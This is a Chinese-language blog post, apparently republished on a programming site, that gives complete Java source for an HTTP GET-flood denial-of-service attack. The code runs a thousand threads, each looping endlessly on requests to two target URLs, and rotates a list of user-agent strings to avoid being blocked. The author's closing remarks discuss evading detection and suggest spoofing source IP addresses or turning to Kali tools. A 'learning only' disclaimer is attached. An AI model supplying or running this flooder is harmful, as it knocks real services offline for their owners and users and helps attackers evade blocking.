大家好,很高兴再次与大家见面,我是你们的朋友全栈君。
拒绝服务攻击(DoS攻击)的具体原理在这里就不再赘述。
我这里展示的是用Java实现的DoS攻击示例代码。不过,我建议大家使用Python来编写这种类型的脚本,因为Python更适合这类任务。以下代码仅供学习参考,请勿用于非法活动。
package dos;
<p>import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Random;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;</p><p>/**</p><ul><li><p>DoS攻击</p><p><span>立即学习</span>“<a href="https://pan.quark.cn/s/c1c2c2ed740f" style="text-decoration: underline !important; color: blue; font-weight: bolder;" rel="nofollow" target="_blank">Java免费学习笔记(深入)</a>”;</p></li><li></li><li><p>@author q</p></li><li><p>*/
public class Test {
/**</p><ul><li>输入开启的线程数量
*/
private static final int MAX_THREAD = 1000;</li></ul><p>/**</p><ul><li>输入你想攻击的网址
*/
private static final String URL1 = "<a href="https://www.php.cn/link/46235a3abdd04841af13c4d768f13c21">https://www.php.cn/link/46235a3abdd04841af13c4d768f13c21</a>";
private static final String URL2 = "<a href="https://www.php.cn/link/f4270981241d67e6251acf2dd3e5f403">https://www.php.cn/link/f4270981241d67e6251acf2dd3e5f403</a>";</li></ul><p>private static ArrayList<String> userAgentsList;</p>
<div class="aritcle_card">
<a class="aritcle_card_img" href="/ai/1317">
<img src="https://img.php.cn/upload/ai_manual/000/000/000/175680200026228.jpg" alt="GPTKit">
</a>
<div class="aritcle_card_info">
<a href="/ai/1317">GPTKit</a>
<p>一个AI文本生成检测工具</p>
<div class="">
<img src="/static/images/card_xiazai.png" alt="GPTKit">
<span>108</span>
</div>
</div>
<a href="/ai/1317" class="aritcle_card_btn">
<span>查看详情</span>
<img src="/static/images/cardxiayige-3.png" alt="GPTKit">
</a>
</div>
<p>public static void main(String[] args) {
userAgentsList = new ArrayList<>();
insertUserAgent();
attack(URL1);
attack(URL2);
}</p><p>/**</p><ul><li>GET请求攻击
*/
private static void attack(String url) {
ExecutorService ex = Executors.newFixedThreadPool(MAX_THREAD);
for (int i = 0; i < MAX_THREAD; i++) {
ex.execute(new Thread() {
@Override
public void run() {
while (true) {
sendGet(url);
}
}
});
}
}</li></ul><p>private static void sendGet(String url) {
try {
URL urlObj = new URL(url);
URLConnection connection = urlObj.openConnection();
HttpURLConnection httpURLConnection = (HttpURLConnection) connection;
httpURLConnection.setRequestMethod("GET");
httpURLConnection.setRequestProperty("Connection", "keep-alive");
httpURLConnection.setRequestProperty("Cache-Control", "max-age=0");
httpURLConnection.setRequestProperty("Upgrade-Insecure-Requests", "1");
httpURLConnection.setRequestProperty("Accept-Charset", "zh-CN,zh;q=0.9");
httpURLConnection.setRequestProperty("Content-Type", "application/text");
httpURLConnection.setRequestProperty("User-Agent", selectUserAgent());
httpURLConnection.connect();
int code = httpURLConnection.getResponseCode();
if (httpURLConnection.getResponseCode() >= 300) {
throw new Exception("请求未成功,响应代码为 " + code);
} else {
System.out.println("请求成功,响应代码为 " + code);
}
} catch (Exception e) {
// 异常处理
}
}</p><p>private static String selectUserAgent() {
Random random = new Random();
int i = random.nextInt(userAgentsList.size());
return userAgentsList.get(i);
}</p><p>private static void insertUserAgent() {
userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95");
userAgentsList.add("Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50");
userAgentsList.add("Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10");
userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7");
userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71");
userAgentsList.add("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko)");
userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101");
userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71");
userAgentsList.add("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)");
userAgentsList.add("Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
userAgentsList.add("Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10");
userAgentsList.add("Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0");
userAgentsList.add("Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)");
userAgentsList.add("Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5");
userAgentsList.add("AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
}
}注意事项:
虽然我使用了User-Agent列表来混淆对方,从而在一定程度上避免被封禁,但这并不是伪造源IP的方法。如果对方决心追查你,无论如何你都会被发现。不过,我想到另一种方法,即在数据包层面上修改源IP地址,这样虽然无法接收到回包,但可以达到攻击效果。以后有时间可以尝试一下,或者直接使用Kali Linux中的工具。

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发布者:全栈程序员栈长,转载请注明出处:https://www.php.cn/link/8ef039111659408c7f4b3d6c4a9d4563 原文链接:https://www.php.cn/link/c8377ad2a50fb65de28b11cfc628d75c
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